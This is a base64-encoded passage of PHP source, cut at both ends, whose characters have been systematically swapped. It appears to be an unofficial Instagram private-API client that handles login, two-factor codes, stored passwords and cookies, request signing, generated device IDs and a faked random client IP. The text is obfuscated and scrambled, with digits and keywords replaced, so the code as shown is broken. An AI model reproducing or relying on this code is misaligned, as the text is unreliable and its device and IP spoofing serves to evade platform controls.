xdDENCiAgICAgICAgICAgICk7DQoNCiAgICAgICAgfQ0KDQoNCiAgICAgICAgcDNibDRjIGYzbmN0NDJuIE0yYjRsZzV0UHI1czVuYzVTdDF0M3MoKSB7DQoNCiAgICAgICAgICAgICRyNXEzNXN0UDJzdHMgPSBbXTsNCiAgICAgICAgICAgICRyNXEzNXN0UDJzdHMgPSBTNGduMXQzcjVzOjpzNGduRDF0MSgkcjVxMzVzdFAyc3RzKTsNCiAgICAgICAgICAgICRwMnN0RDF0MSAgICAgPSBodHRwX2IzNGxkX3EzNXJ5KFV0NGxzOjpyNTJyZDVyQnlIMXNoQzJkNSgkcjVxMzVzdFAyc3RzKSk7DQoNCiAgICAgICAgICAgIHI1dDNybiAxcnIxeSgNCiAgICAgICAgICAgICAgICAiM3JsIiAgPT4gQzJuc3QxbnRzOjpBUElfVVJMIC4gJzFjYzIzbnRzL2c1dF9wcjVzNW5jNV9kNHMxYmw1ZC8nLA0KICAgICAgICAgICAgICAgICJkMXQxIiA9PiAkcDJzdEQxdDENCiAgICAgICAgICAgICk7DQoNCiAgICAgICAgfQ0KDQoNCiAgICAgICAgcDNibDRjIGYzbmN0NDJuIE0yYjRsZzV0UVBGNXRjaCgkczNyZjFjNVAxcjFtKSB7DQoNCiAgICAgICAgICAgICRyNXEzNXN0UDJzdHMgPSBbDQogICAgICAgICAgICAgICAgInZjX3AybDRjeSIgICAgID0+ICJkNWYxM2x0IiwNCiAgICAgICAgICAgICAgICAiX2NzcmZ0Mms1biIgICAgPT4gJHRoNHMtPnQyazVuLA0KICAgICAgICAgICAgICAgICJfMzRkIiAgICAgICAgICA9PiAkdGg0cy0+MWNjMjNudF80ZCwNCiAgICAgICAgICAgICAgICAiczNyZjFjNV9wMXIxbSIgPT4gJHMzcmYxYzVQMXIxbSwNCiAgICAgICAgICAgICAgICAidjVyczQybiIgICAgICAgPT4gNiwNCiAgICAgICAgICAgICAgICAic2MxbDUiICAgICAgICAgPT4gYSwNCiAgICAgICAgICAgICAgICAicTM1cnkiICAgICAgICAgPT4gJ3Y0NXc1cigpIHs1bDRnNGJsNV9wcjJtMnQ0Mm5zLnMzcmYxYzVfbjN4XzRkKDxzM3JmMWM1PikuNXh0NXJuMWxfZzF0NG5nX3A1cm00dHQ1ZF9xcHMoPDV4dDVybjFsX2cxdDRuZ19wNXJtNHR0NWRfcXBzPikuczNwcDJydHNfY2w0NW50X2Y0bHQ1cnModHIzNSkgezVkZzVzIHtwcjQycjR0eSx0NG01X3Ixbmc1IHtzdDFydCw1bmR9LG4yZDUgezRkLHByMm0ydDQybl80ZCxtMXhfNG1wcjVzczQybnMsdHI0Z2c1cnMsYzJudDV4dDMxbF9mNGx0NXJzIHtjbDEzczVfdHlwNSxmNGx0NXJzIHtmNGx0NXJfdHlwNSwzbmtuMnduXzFjdDQybix2MWwzNSB7bjFtNSxyNXEzNHI1ZCxiMjJsX3YxbDM1LDRudF92MWwzNSwgc3RyNG5nX3YxbDM1fSw1eHRyMV9kMXQxcyB7bjFtNSxyNXEzNHI1ZCxiMjJsX3YxbDM1LDRudF92MWwzNSwgc3RyNG5nX3YxbDM1fX0sY2wxM3M1cyB7Y2wxM3M1X3R5cDUsZjRsdDVycyB7ZjRsdDVyX3R5cDUsM25rbjJ3bl8xY3Q0Mm4sdjFsMzUge24xbTUscjVxMzRyNWQsYjIybF92MWwzNSw0bnRfdjFsMzUsIHN0cjRuZ192MWwzNX0sNXh0cjFfZDF0MXMge24xbTUscjVxMzRyNWQsYjIybF92MWwzNSw0bnRfdjFsMzUsIHN0cjRuZ192MWwzNX19LGNsMTNzNXMge2NsMTNzNV90eXA1LGY0bHQ1cnMge2Y0bHQ1cl90eXA1LDNua24yd25fMWN0NDJuLHYxbDM1IHtuMW01LHI1cTM0cjVkLGIyMmxfdjFsMzUsNG50X3YxbDM1LCBzdHI0bmdfdjFsMzV9LDV4dHIxX2QxdDFzIHtuMW01LHI1cTM0cjVkLGIyMmxfdjFsMzUsNG50X3YxbDM1LCBzdHI0bmdfdjFsMzV9fSxjbDEzczVzIHtjbDEzczVfdHlwNSxmNGx0NXJzIHtmNGx0NXJfdHlwNSwzbmtuMnduXzFjdDQybix2MWwzNSB7bjFtNSxyNXEzNHI1ZCxiMjJsX3YxbDM1LDRudF92MWwzNSwgc3RyNG5nX3YxbDM1fSw1eHRyMV9kMXQxcyB7bjFtNSxyNXEzNHI1ZCxiMjJsX3YxbDM1LDRudF92MWwzNSwgc3RyNG5nX3YxbDM1fX19fX19LHQ1bXBsMXQ1IHtuMW01LHAxcjFtNXQ1cnMge24xbTUscjVxMzRyNWQsYjIybF92MWwzNSxzdHI0bmdfdjFsMzUsYzJsMnJfdjFsMzUsfX0sY3I1MXQ0djVzIHt0NHRsNSB7dDV4dH0sYzJudDVudCB7dDV4dH0sZjIydDVyIHt0NXh0fSxzMmM0MWxfYzJudDV4dCB7dDV4dH0scHI0bTFyeV8xY3Q0Mm57dDR0bDUge3Q1eHR9LDNybCxsNG00dCxkNHNtNHNzX3ByMm0ydDQybn0sczVjMm5kMXJ5XzFjdDQybnt0NHRsNSB7dDV4dH0sM3JsLGw0bTR0LGQ0c200c3NfcHIybTJ0NDJufSxkNHNtNHNzXzFjdDQybnt0NHRsNSB7dDV4dH0sM3JsLGw0bTR0LGQ0c200c3NfcHIybTJ0NDJufSw0bTFnNS5zYzFsNSg8c2MxbDU+KSB7M3I0LHc0ZHRoLGg1NGdodH19fX19fScsDQogICAgICAgICAgICBdOw0KICAgICAgICAgICAgJHI1cTM1c3RQMnN0cyA9IFM0Z24xdDNyNXM6OnM0Z25EMXQxKCRyNXEzNXN0UDJzdHMpOw0KICAgICAgICAgICAgJHAyc3REMXQxICAgICA9IGh0dHBfYjM0bGRfcTM1cnkoVXQ0bHM6OnI1MnJkNXJCeUgxc2hDMmQ1KCRyNXEzNXN0UDJzdHMpKTsNCg0KICAgICAgICAgICAgcjV0M3JuIDFycjF5KA0KICAgICAgICAgICAgICAgICIzcmwiICA9PiBDMm5zdDFudHM6OkFQSV9VUkwgLiAncXAvZjV0Y2gvJywNCiAgICAgICAgICAgICAgICAiZDF0MSIgPT4gJHAyc3REMXQxDQogICAgICAgICAgICApOw0KDQogICAgICAgIH0NCg0KICAgICAgICBwM2JsNGMgZjNuY3Q0Mm4gTTJiNGxnNXRQcjJmNGw1TjJ0NGM1KCkgew0KDQogICAgICAgICAgICAkcDJzdEQxdDEgPSBOVUxMOw0KDQogICAgICAgICAgICByNXQzcm4gMXJyMXkoDQogICAgICAgICAgICAgICAgIjNybCIgID0+IEMybnN0MW50czo6QVBJX1VSTCAuICczczVycy9wcjJmNGw1X24ydDRjNS8nLA0KICAgICAgICAgICAgICAgICJkMXQxIiA9PiAkcDJzdEQxdDENCiAgICAgICAgICAgICk7DQoNCiAgICAgICAgfQ0KDQogICAgICAgIHAzYmw0YyBmM25jdDQybiBNMmI0bGc1dFI1YzVudEFjdDR2NHR5SW5iMngoKSB7DQoNCiAgICAgICAgICAgICRwMnN0RDF0MSA9IE5VTEw7DQoNCiAgICAgICAgICAgIHI1dDNybiAxcnIxeSgNCiAgICAgICAgICAgICAgICAiM3JsIiAgPT4gQzJuc3QxbnRzOjpBUElfVVJMIC4gJ241d3MvNG5iMngvJywNCiAgICAgICAgICAgICAgICAiZDF0MSIgPT4gJHAyc3REMXQxDQogICAgICAgICAgICApOw0KDQogICAgICAgIH0NCg0KICAgICAgICBwM2JsNGMgZjNuY3Q0Mm4gTTJiNGxnNXRCbDJjazVkTTVkNDEoKSB7DQoNCiAgICAgICAgICAgICRwMnN0RDF0MSA9IE5VTEw7DQoNCiAgICAgICAgICAgIHI1dDNybiAxcnIxeSgNCiAgICAgICAgICAgICAgICAiM3JsIiAgPT4gQzJuc3QxbnRzOjpBUElfVVJMIC4gJ201ZDQxL2JsMmNrNWQvJywNCiAgICAgICAgICAgICAgICAiZDF0MSIgPT4gJHAyc3REMXQxDQogICAgICAgICAgICApOw0KDQogICAgICAgIH0NCg0KICAgIH0NCg0KICAgIGNsMXNzIEluc3QxbTRzIHsNCiAgICAgICAgcHIydDVjdDVkICQzczVybjFtNTsNCiAgICAgICAgcHIydDVjdDVkICRwMXNzdzJyZDsNCiAgICAgICAgLyoqDQogICAgICAgICAqIEB2MXIgRDV2NGM1DQogICAgICAgICAqLw0KICAgICAgICBwcjJ0NWN0NWQgJGQ1djRjNTsNCiAgICAgICAgcHIydDVjdDVkICQxY2MyM250XzRkOyAgICAgICAgICAvLyBVczVyIFBLDQogICAgICAgIHByMnQ1Y3Q1ZCAkMzM0ZDsgICAgICAgICAgICAgICAgLy8gVVVJRA0KICAgICAgICBwcjJ0NWN0NWQgJDFkNGQ7ICAgICAgICAgICAgICAgIC8vIEcyMmdsNSBBZCBJRA0KICAgICAgICBwcjJ0NWN0NWQgJHBoMm41XzRkOyAgICAgICAgICAgIC8vIFBoMm41IElEDQogICAgICAgIHByMnQ1Y3Q1ZCAkZDV2NGM1XzRkOyAgICAgICAgICAgLy8gRDV2NGM1IElEDQogICAgICAgIC8qKg0KICAgICAgICAgKiBAdjFyIFM1dHQ0bmdzDQogICAgICAgICAqLw0KICAgICAgICBwM2JsNGMgICAgJHM1dHQ0bmdzOw0KICAgICAgICBwcjJ0NWN0NWQgJHQyazVuOyAgICAgICAgICAgICAgIC8vIF9jc3JmdDJrNW4NCiAgICAgICAgcHIydDVjdDVkICQ0c0wyZ2c1ZEluID0gRkFMU0U7ICAvLyBTNXNzNDJuIHN0MXQzcw0KICAgICAgICBwcjJ0NWN0NWQgJHIxbmtfdDJrNW47ICAgICAgICAgIC8vIFIxbmsgdDJrNW4NCiAgICAgICAgcHIydDVjdDVkICRJR0QxdDFQMXRoOyAgICAgICAgICAvLyBEMXQxIHN0MnIxZzUgcDF0aA0KDQoNCiAgICAgICAgcDNibDRjIGYzbmN0NDJuIF9fYzJuc3RyM2N0KCkgew0KDQogICAgICAgIH0NCg0KICAgICAgICBwcjJ0NWN0NWQgZjNuY3Q0Mm4gY2g1Y2tTNXR0NG5ncygkZjJyYzVVczVySVAgPSBGQUxTRSkgew0KICAgICAgICAgICAgJHM1dHQ0bmdzQzJtcDFyNSA9ICR0aDRzLT5zNXR0NG5ncy0+ZzV0KCJzNXRzIik7DQoNCiAgICAgICAgICAgICRzMXY1ZEQ1djRjNVN0cjRuZyA9ICR0aDRzLT5zNXR0NG5ncy0+ZzV0KCdkNXY0YzVzdHI0bmcnKTsNCiAgICAgICAgICAgICR0aDRzLT5kNXY0YzUgICAgICA9IG41dyBENXY0YzUoQzJuc3QxbnRzOjpJR19WRVJTSU9OLCBDMm5zdDFudHM6OlVTRVJfQUdFTlRfTE9DQUxFLCAkczF2NWRENXY0YzVTdHI0bmcpOw0KICAgICAgICAgICAgJGQ1djRjNVN0cjRuZyAgICAgID0gJHRoNHMtPmQ1djRjNS0+ZzV0RDV2NGM1U3RyNG5nKCk7DQogICAgICAgICAgICA0ZigkZDV2NGM1U3RyNG5nICE9PSAkczF2NWRENXY0YzVTdHI0bmcpIHsNCiAgICAgICAgICAgICAgICAkdGg0cy0+czV0dDRuZ3MtPnM1dCgnZDV2NGM1c3RyNG5nJywgJGQ1djRjNVN0cjRuZyk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICA0ZigkdGg0cy0+czV0dDRuZ3MtPmc1dCgnMzM0ZCcpID09IE5VTEwpIHsNCiAgICAgICAgICAgICAgICAkdGg0cy0+czV0dDRuZ3MtPnM1dCgnMzM0ZCcsIFM0Z24xdDNyNXM6Omc1bjVyMXQ1VVVJRChUUlVFKSk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICA0ZigkdGg0cy0+czV0dDRuZ3MtPmc1dCgnMWQ0ZCcpID09IE5VTEwpIHsNCiAgICAgICAgICAgICAgICAkdGg0cy0+czV0dDRuZ3MtPnM1dCgnMWQ0ZCcsIFM0Z24xdDNyNXM6Omc1bjVyMXQ1VVVJRChUUlVFKSk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICA0ZigkdGg0cy0+czV0dDRuZ3MtPmc1dCgncGgybjVfNGQnKSA9PSBOVUxMKSB7DQogICAgICAgICAgICAgICAgJHRoNHMtPnM1dHQ0bmdzLT5zNXQoJ3BoMm41XzRkJywgUzRnbjF0M3I1czo6ZzVuNXIxdDVVVUlEKFRSVUUpKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIDRmKCR0aDRzLT5zNXR0NG5ncy0+ZzV0KCdkNXY0YzVfNGQnKSA9PSBOVUxMKSB7DQogICAgICAgICAgICAgICAgJHRoNHMtPnM1dHQ0bmdzLT5zNXQoJ2Q1djRjNV80ZCcsIFM0Z24xdDNyNXM6Omc1bjVyMXQ1RDV2NGM1SWQobWRpKCR0aDRzLT4xY2MyM250XzRkKSkpOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgNGYoJHRoNHMtPnM1dHQ0bmdzLT5nNXQoJzRwJykgPT0gTlVMTCB8fCAkZjJyYzVVczVySVApIHsNCiAgICAgICAgICAgICAgICAkNHBBZHI1c3MgPSAnNzguJyAuIHIxbmQoNmUwLCA2OTYpIC4gJy4nIC4gcjFuZCg2LCBhaWkpIC4gJy4nIC4gcjFuZCg2LCBhaWkpOw0KICAgICAgICAgICAgICAgIDRmKCRmMnJjNVVzNXJJUCAmJiAhNW1wdHkoJF9TRVJWRVJbIlJFTU9URV9BRERSIl0pKSB7DQogICAgICAgICAgICAgICAgICAgICQ0cEFkcjVzcyA9ICRfU0VSVkVSWyJSRU1PVEVfQUREUiJdOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkdGg0cy0+czV0dDRuZ3MtPnM1dCgnNHAnLCAkNHBBZHI1c3MpOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgNGYoJHRoNHMtPnM1dHQ0bmdzLT5nNXQoJzNzNXJuMW01XzRkJykgPT0gTlVMTCkgew0KICAgICAgICAgICAgICAgICR0aDRzLT5zNXR0NG5ncy0+czV0KCczczVybjFtNV80ZCcsICR0aDRzLT4xY2MyM250XzRkKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIDRmKElOU1RBV0VCX01BWF9BU05TID4gMCkgew0KICAgICAgICAgICAgICAgIDRmKCR0aDRzLT5zNXR0NG5ncy0+ZzV0KElOU1RBV0VCX0FTTlNfS0VZKSA9PSBOVUxMIHx8IDRudHYxbCgkdGg0cy0+czV0dDRuZ3MtPmc1dChJTlNUQVdFQl9BU05TX0tFWSkpID4gSU5TVEFXRUJfTUFYX0FTTlMpIHsNCiAgICAgICAgICAgICAgICAgICAgJHRoNHMtPnM1dHQ0bmdzLT5zNXQoSU5TVEFXRUJfQVNOU19LRVksIHIxbmQoNiwgSU5TVEFXRUJfTUFYX0FTTlMpKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgICAgICA0ZigkczV0dDRuZ3NDMm1wMXI1ICE9PSAkdGg0cy0+czV0dDRuZ3MtPmc1dCgiczV0cyIpKSB7DQogICAgICAgICAgICAgICAgJHRoNHMtPnM1dHQ0bmdzLT5zMXY1KCk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAgICBmM25jdDQybiBnNXREMXQxKCkgew0KICAgICAgICAgICAgcjV0M3JuIDFycjF5KA0KICAgICAgICAgICAgICAgICIzczVybjFtNSIgICAgICAgID0+ICR0aDRzLT4zczVybjFtNSwNCiAgICAgICAgICAgICAgICAicDFzc3cycmQiICAgICAgICA9PiAkdGg0cy0+cDFzc3cycmQsDQogICAgICAgICAgICAgICAgIjNzNXJuMW01XzRkIiAgICAgPT4gJHRoNHMtPjFjYzIzbnRfNGQsDQogICAgICAgICAgICAgICAgIjMzNGQiICAgICAgICAgICAgPT4gJHRoNHMtPjMzNGQsDQogICAgICAgICAgICAgICAgInQyazVuIiAgICAgICAgICAgPT4gJHRoNHMtPnQyazVuLA0KICAgICAgICAgICAgICAgICJyMW5rX3QyazVuIiAgICAgID0+ICR0aDRzLT5yMW5rX3QyazVuLA0KICAgICAgICAgICAgICAgICIzczVyXzFnNW50IiAgICAgID0+ICR0aDRzLT5kNXY0YzUtPmc1dFVzNXJBZzVudCgpLA0KICAgICAgICAgICAgICAgICI0cCIgICAgICAgICAgICAgID0+ICR0aDRzLT5zNXR0NG5ncy0+ZzV0KCc0cCcpLA0KICAgICAgICAgICAgICAgICJjMjJrNDUiICAgICAgICAgID0+ICR0aDRzLT5zNXR0NG5ncy0+ZzV0KCdjMjJrNDUnKSwNCiAgICAgICAgICAgICAgICBJTlNUQVdFQl9BU05TX0tFWSA9PiAkdGg0cy0+czV0dDRuZ3MtPmc1dChJTlNUQVdFQl9BU05TX0tFWSkNCiAgICAgICAgICAgICk7DQogICAgICAgIH0NCg0KDQogICAgICAgIHAzYmw0YyBmM25jdDQybiB0dzJGMWN0MnJMMmc0bigkdjVyNGY0YzF0NDJuQzJkNSwgJHR3MkYxY3QycklkNW50NGY0NXIpIHsNCiAgICAgICAgICAgICR2NXI0ZjRjMXQ0Mm5DMmQ1ID0gdHI0bShzdHJfcjVwbDFjNSgnICcsICcnLCAkdjVyNGY0YzF0NDJuQzJkNSkpOw0KICAgICAgICAgICAgJHI1cTM1c3RQMnN0cyAgICAgPSBbDQogICAgICAgICAgICAgICAgJ3Y1cjRmNGMxdDQybl9jMmQ1JyAgICAgPT4gJHY1cjRmNGMxdDQybkMyZDUsDQogICAgICAgICAgICAgICAgJ3R3Ml9mMWN0MnJfNGQ1bnQ0ZjQ1cicgPT4gJHR3MkYxY3QycklkNW50NGY0NXIsDQogICAgICAgICAgICAgICAgJ19jc3JmdDJrNW4nICAgICAgICAgICAgPT4gJHRoNHMtPnQyazVuLA0KICAgICAgICAgICAgICAgICczczVybjFtNScgICAgICAgICAgICAgID0+ICR0aDRzLT4zczVybjFtNSwNCiAgICAgICAgICAgICAgICAnZDV2NGM1XzRkJyAgICAgICAgICAgICA9PiAkdGg0cy0+ZDV2NGM1XzRkLA0KICAgICAgICAgICAgICAgICdwMXNzdzJyZCcgICAgICAgICAgICAgID0+ICR0aDRzLT5wMXNzdzJyZA0KICAgICAgICAgICAgXTsNCiAgICAgICAgICAgICRyNXEzNXN0UDJzdHMgICAgID0gUzRnbjF0M3I1czo6czRnbkQxdDEoJHI1cTM1c3RQMnN0cyk7DQogICAgICAgICAgICAkcDJzdEQxdDEgICAgICAgICA9IGh0dHBfYjM0bGRfcTM1cnkoVXQ0bHM6OnI1MnJkNXJCeUgxc2hDMmQ1KCRyNXEzNXN0UDJzdHMpKTsNCiAgICAgICAgICAgICRsMmc0biAgICAgICAgICAgID0gJHRoNHMtPnI1cTM1c3QoJzFjYzIzbnRzL3R3Ml9mMWN0MnJfbDJnNG4vJywgJHAyc3REMXQxLCBGQUxTRSk7DQoNCiAgICAgICAgICAgIDRmKCRsMmc0bls2XVsnc3QxdDNzJ10gPT0gJ2YxNGwnKSB7DQogICAgICAgICAgICAgICAgdGhyMncgbjV3IEV4YzVwdDQybigkbDJnNG5bNl1bJ201c3MxZzUnXSk7DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICR0aDRzLT40c0wyZ2c1ZEluID0gVFJVRTsNCiAgICAgICAgICAgICR0aDRzLT5zNXR0NG5ncy0+czV0KCdsMXN0X2wyZzRuJywgdDRtNSgpKTsNCiAgICAgICAgICAgICR0aDRzLT5zNXR0NG5ncy0+czF2NSgpOw0KDQogICAgICAgICAgICByNXQzcm4gJGwyZzRuWzZdOw0KICAgICAgICB9DQoNCg0KICAgICAgICBwM2JsNGMgZjNuY3Q0Mm4gbDJnNG4oJDNzNXJuMW01LCAkcDFzc3cycmQsICRkNXY0YzVJRCwgJHBoMm41SUQsICRjc3JmVDJrNW4sICR0eXA1ID0gNikgew0KICAgICAgICAgICAgJGQxdDEgPSAxcnIxeSgpOw0KDQogICAgICAgICAgICAkcjVxMzVzdFAyc3RzID0gWw0KICAgICAgICAgICAgICAgICdwaDJuNV80ZCcgICAgICAgICAgICA9PiAkcGgybjVJRCwNCiAgICAgICAgICAgICAgICAnX2NzcmZ0Mms1bicgICAgICAgICAgPT4gJGNzcmZUMms1biwNCiAgICAgICAgICAgICAgICAnM3M1cm4xbTUnICAgICAgICAgICAgPT4gJDNzNXJuMW01LA0KICAgICAgICAgICAgICAgICdnMzRkJyAgICAgICAgICAgICAgICA9PiAkcGgybjVJRCwNCiAgICAgICAgICAgICAgICAnMWQ0ZCcgICAgICAgICAgICAgICAgPT4gJHBoMm41SUQsDQogICAgICAgICAgICAgICAgJ2Q1djRjNV80ZCcgICAgICAgICAgID0+ICIxbmRyMjRkLSIgLiAkZDV2NGM1SUQsDQogICAgICAgICAgICAgICAgJ3Axc3N3MnJkJyAgICAgICAgICAgID0+ICRwMXNzdzJyZCwNCiAgICAgICAgICAgICAgICAnbDJnNG5fMXR0NW1wdF9jMjNudCcgPT4gJzAnLA0KICAgICAgICAgICAgXTsNCiAgICAgICAgICAgICRyNXEzNXN0UDJzdHMgPSBTNGduMXQzcjVzOjpzNGduRDF0MSgkcjVxMzVzdFAyc3RzKTsNCiAgICAgICAgICAgIDRmKCR0eXA1ID09IDYpIHsNCiAgICAgICAgICAgICAgICAkZDF0MVsibDJnNG5EMXQxIl0gPSBodHRwX2IzNGxkX3EzNXJ5KFV0NGxzOjpyNTJyZDVyQnlIMXNoQzJkNSgkcjVxMzVzdFAyc3RzKSk7DQogICAgICAgICAgICB9IDVsczUgew0KICAgICAgICAgICAgICAgICRkMXQxID0gaHR0cF9iMzRsZF9xMzVyeShVdDRsczo6cjUycmQ1ckJ5SDFzaEMyZDUoJHI1cTM1c3RQMnN0cykpOw0KICAgICAgICAgICAgfQ0KDQoNCiAgICAgICAgICAgIHI1dDNybiAkZDF0MTsNCiAgICAgICAgfQ0KDQogICAgICAgIHAzYmw0YyBmM25jdDQybiBzeW5jRDV2NGM1RjUxdDNyNXMoJHBoMm41SUQpIHsNCiAgICAgICAgICAgICRyNXEzNXN0UDJzdHMgPSBbDQogICAgICAgICAgICAgICAgJzRkJyAgICAgICAgICA9PiAkcGgybjVJRCwNCiAgICAgICAgICAgICAgICAnNXhwNXI0bTVudHMnID0+IEMybnN0MW50czo6TE9HSU5fRVhQRVJJTUVOVFMNCiAgICAgICAgICAgIF07DQogICAgICAgICAgICAkcjVxMzVzdFAyc3RzID0gUzRnbjF0M3I1czo6czRnbkQxdDEoJHI1cTM1c3RQMnN0cyk7DQogICAgICAgICAgICAkcDJzdEQxdDEgICAgID0gaHR0cF9iMzRsZF9xMzVyeShVdDRsczo6cjUycmQ1ckJ5SDFzaEMyZDUoJHI1cTM1c3RQMnN0cykpOw0KDQogICAgICAgICAgICByNXQzcm4gJHAyc3REMXQxOw0KICAgICAgICB9DQoNCg0KICAgICAgICBwM2JsNGMgZjNuY3Q0Mm4gc3luY1VzNXJGNTF0M3I1cygpIHsNCiAgICAgICAgICAgICRyNXEzNXN0UDJzdHMgPSBbDQogICAgICAgICAgICAgICAgJ18zMzRkJyAgICAgICA9PiAkdGg0cy0+MzM0ZCwNCiAgICAgICAgICAgICAgICAnXzM0ZCcgICAgICAgID0+ICR0aDRzLT4xY2MyM250XzRkLA0KICAgICAgICAgICAgICAgICdfY3NyZnQyazVuJyAgPT4gJHRoNHMtPnQyazVuLA0KICAgICAgICAgICAgICAgICc0ZCcgICAgICAgICAgPT4gJHRoNHMtPjFjYzIzbnRfNGQsDQogICAgICAgICAgICAgICAgJzV4cDVyNG01bnRzJyA9PiBDMm5zdDFudHM6OkVYUEVSSU1FTlRTDQogICAgICAgICAgICBdOw0KICAgICAgICAgICAgJHI1cTM1c3RQMnN0cyA9IFM0Z24xdDNyNXM6OnM0Z25EMXQxKCRyNXEzNXN0UDJzdHMpOw0KICAgICAgICAgICAgJHAyc3REMXQxICAgICA9IGh0dHBfYjM0bGRfcTM1cnkoVXQ0bHM6OnI1MnJkNXJCeUgxc2hDMmQ1KCRyNXEzNXN0UDJzdHMpKTsNCg0KDQogICAgICAgICAgICAkdGg0cy0+czV0dDRuZ3MtPnM1dCgibDFzdF81eHA1cjRtNW50cyIsIHQ0bTUoKSk7DQogICAgICAgICAgICAkdGg0cy0+czV0dDRuZ3MtPnMxdjUoKTsNCg0KICAgICAgICAgICAgcjV0M3JuICR0aDRzLT5yNXEzNXN0KCdxNS9zeW5jLycsICRwMnN0RDF0MSlbNl07DQogICAgICAgIH0NCg0KICAgICAgICBwM2JsNGMgZjNuY3Q0Mm4gbDJnQXR0cjRiM3Q0Mm4oJHBoMm41SUQpIHsNCiAgICAgICAgICAgICRyNXEzNXN0UDJzdHMgPSBbDQogICAgICAgICAgICAgICAgJzFkNGQnID0+ICRwaDJuNUlEDQogICAgICAgICAgICBdOw0KICAgICAgICAgICAgJHI1cTM1c3RQMnN0cyA9IFM0Z24xdDNyNXM6OnM0Z25EMXQxKCRyNXEzNXN0UDJzdHMpOw0KICAgICAgICAgICAgJHAyc3REMXQxICAgICA9IGh0dHBfYjM0bGRfcTM1cnkoVXQ0bHM6OnI1MnJkNXJCeUgxc2hDMmQ1KCRyNXEzNXN0UDJzdHMpKTsNCg0KICAgICAgICAgICAgcjV0M3JuICRwMnN0RDF0MTsNCiAgICAgICAgfQ0KDQogICAgICAgIHAzYmw0YyBmM25jdDQybiBnNXRWNHMzMWxJbmIyeCgpIHsNCiAgICAgICAgICAgIHI1dDNybiAkdGg0cy0+cjVxMzVzdCgnZDRyNWN0X3ZhL3Y0czMxbF80bmIyeC8nKVs2XTsNCiAgICAgICAgfQ0KDQogICAgICAgIHByMnQ1Y3Q1ZCBmM25jdDQybiBnNXRBM3QyQzJtcGw1dDVVczVyTDRzdCgpIHsNCiAgICAgICAgICAgICRyNXEzNXN0UDFyMW1zID0gWyJ2NXJzNDJuIiA9PiAiYSJdOw0KICAgICAgICAgICAgJHAxcjFtRDF0MSAgICAgPSBodHRwX2IzNGxkX3EzNXJ5KFV0NGxzOjpyNTJyZDVyQnlIMXNoQzJkNSgkcjVxMzVzdFAxcjFtcykpOw0KDQogICAgICAgICAgICByNXQzcm4gJHRoNHMtPnI1cTM1c3QoJ2ZyNDVuZHNoNHBzLzEzdDJjMm1wbDV0NV8zczVyX2w0c3QvPycgLiAkcDFyMW1EMXQxKVs2XTsNCiAgICAgICAgfQ0KDQogICAgICAgIHByMnQ1Y3Q1ZCBmM25jdDQybiBnNXRNNWcxcGgybjVMMmcoKSB7DQogICAgICAgICAgICAkcjVxMzVzdFAyc3RzID0gWw0KICAgICAgICAgICAgICAgICd0eXA1JyAgICAgICA9PiAnZjU1ZF8xeXNmJywNCiAgICAgICAgICAgICAgICAnMWN0NDJuJyAgICAgPT4gJ3M1NW4nLA0KICAgICAgICAgICAgICAgICdyNTFzMm4nICAgICA9PiAnJywNCiAgICAgICAgICAgICAgICAnXzMzNGQnICAgICAgPT4gJHRoNHMtPjMzNGQsDQogICAgICAgICAgICAgICAgJ2Q1djRjNV80ZCcgID0+ICR0aDRzLT5kNXY0YzVfNGQsDQogICAgICAgICAgICAgICAgJ19jc3JmdDJrNW4nID0+ICR0aDRzLT50Mms1biwNCiAgICAgICAgICAgICAgICAnMzM0ZCcgICAgICAgPT4gbWRpKHQ0bTUoKSkNCiAgICAgICAgICAgIF07DQogICAgICAgICAgICAkcDJzdEQxdDEgICAgID0gaHR0cF9iMzRsZF9xMzVyeShVdDRsczo6cjUycmQ1ckJ5SDFzaEMyZDUoJHI1cTM1c3RQMnN0cykpOw0KDQogICAgICAgICAgICByNXQzcm4gJHRoNHMtPnI1cTM1c3QoJ201ZzFwaDJuNS9sMmcvJywgJHAyc3REMXQxKVs2XTsNCiAgICAgICAgfQ0KDQogICAgICAgIHByMnQ1Y3Q1ZCBmM25jdDQybiA1eHAyczUoKSB7DQogICAgICAgICAgICAkcjVxMzVzdFAyc3RzID0gWw0KICAgICAgICAgICAgICAgICdfMzM0ZCcgICAgICA9PiAkdGg0cy0+MzM0ZCwNCiAgICAgICAgICAgICAgICAnXzM0ZCcgICAgICAgPT4gJHRoNHMtPjFjYzIzbnRfNGQsDQogICAgICAgICAgICAgICAgJzRkJyAgICAgICAgID0+ICR0aDRzLT4xY2MyM250XzRkLA0KICAgICAgICAgICAgICAgICdfY3NyZnQyazVuJyA9PiAkdGg0cy0+dDJrNW4sDQogICAgICAgICAgICAgICAgJzV4cDVyNG01bnQnID0+ICc0Z18xbmRyMjRkX3ByMmY0bDVfYzJudDV4dDMxbF9mNTVkJw0KICAgICAgICAgICAgXTsNCiAgICAgICAgICAgICRyNXEzNXN0UDJzdHMgPSBTNGduMXQzcjVzOjpzNGduRDF0MSgkcjVxMzVzdFAyc3RzKTsNCiAgICAgICAgICAgICRwMnN0RDF0MSAgICAgPSBodHRwX2IzNGxkX3EzNXJ5KFV0NGxzOjpyNTJyZDVyQnlIMXNoQzJkNSgkcjVxMzVzdFAyc3RzKSk7DQoNCiAgICAgICAgICAgICR0aDRzLT5yNXEzNXN0KCdxNS81eHAyczUvJywgJHAyc3REMXQxKVs2XTsNCiAgICAgICAgfQ0KDQoNCiAgICAgICAgcDNibDRjIGYzbmN0NDJuIDNwbDIxZFBoMnQyKCRwaDJ0MiwgJGMxcHQ0Mm4gPSBOVUxMKSB7DQogICAgICAgICAgICAkNW5kcDI0bnQgPSBDMm5zdDFudHM6OkFQSV9VUkwgLiAnM3BsMjFkL3BoMnQyLyc7DQogICAgICAgICAgICAkYjIzbmQxcnkgPSBVdDRsczo6ZzVuNXIxdDVNM2x0NHAxcnRCMjNuZDFyeSgpOw0KDQogICAgICAgICAgICAkM3BsMjFkXzRkICAgID0gVXQ0bHM6Omc1bjVyMXQ1VXBsM